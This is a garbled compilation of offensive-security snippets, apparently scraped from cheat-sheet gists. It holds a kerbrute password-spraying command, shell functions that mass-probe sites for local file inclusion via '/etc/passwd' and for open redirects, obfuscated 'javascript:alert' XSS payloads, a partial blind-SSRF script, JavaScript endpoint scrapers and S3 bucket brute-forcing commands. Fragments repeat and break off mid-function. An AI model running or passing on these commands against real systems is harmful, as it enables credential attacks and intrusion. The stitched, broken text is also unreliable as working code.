With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
lfi() { | |
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' | |
} | |
open-redirect() { | |
local LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' | |
} |
nucleir() { | |
local TPL="$HOME/Documents/nuclei-templates" | |
[[ -z "${1}" ]] && { echo "-target/-l ?"; return; } | |
[[ -z "${2}" ]] && { echo "Input target?"; return; } | |
local T="" | |
for i in `ls -1d ${TPL}/*/`; do | |
if [[ ! "${i}" =~ (brute-force|examples|payloads) ]]; then |
<!--javascript --> | |
ja	vascript:alert(1) | |
ja
vascript:alert(1) | |
ja
vascript:alert(1) | |
javascript:alert() | |
<!--::colon:: --> | |
javascript:alert() | |
javascript:alert() | |
javascript:alert(1) |
### | |
# ▶ go get -u github.com/lc/gau | |
# ▶ go get -u github.com/tomnomnom/qsreplace | |
# ▶ go get -u github.com/tomnomnom/hacks/kxss | |
# ▶ go get -u github.com/hahwul/dalfox | |
# ▶ git clone https://github.com/dwisiswant0/DSSS | |
### | |
gauq() { |
echo "Blind SSRF testing - append to parameters and add new parameters @hussein98d" | |
echo "Usage: bash script.sh domain.com http://server-callbak" | |
echo "This script uses https://github.com/ffuf/ffuf, https://github.com/lc/gau, https://github.com/tomnomnom/waybackurls" | |
if [ -z "$1" ]; then | |
echo >&2 "ERROR: Domain not set" | |
exit 2 | |
fi | |
if [ -z "$2" ]; then | |
echo >&2 "ERROR: Sever link not set" | |
exit 2 |
curl -L -k -s https://www.example.com | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | awk -F '//' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%\" | sed \"s/[;}\)>]/\n/g\" | grep -Po \"(['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})|(\.(get|post|ajax|load)\s*\(\s*['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})\"" | awk -F "['\"]" '{print $2}' | sort -fu | |
# using linkfinder | |
function ejs() { | |
URL=$1; | |
curl -Lks $URL | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | sed -r "s/^src['\"]?[=:]['\"]//g" | awk -v url=$URL '{if(length($1)) if($1 ~/^http/) print $1; else if($1 ~/^\/\//) print "https:"$1; else print url"/"$1}' | sort -fu | xargs -I '%' sh -c "echo \"\n##### %\";wget --no-check-certificate --quiet \"%\"; basename \"%\" | xargs -I \"#\" sh -c 'linkfinder.py -o cli -i #'" | |
} | |
# with file download (the new best one): | |
# but there is a bug if you don't provide a root url |
Ffuf (faster): | |
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v | |
Wfuzz: | |
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50 | |
The files: |
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:
██████╗ ███████╗ ██████╗ ██████╗ ███╗ ██╗ | |
██╔══██╗██╔════╝██╔════╝██╔═══██╗████╗ ██║ | |
██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║ | |
██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║ | |
██║ ██║███████╗╚██████╗╚██████╔╝██║ ╚████║ | |
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ | |
@intx0x80 |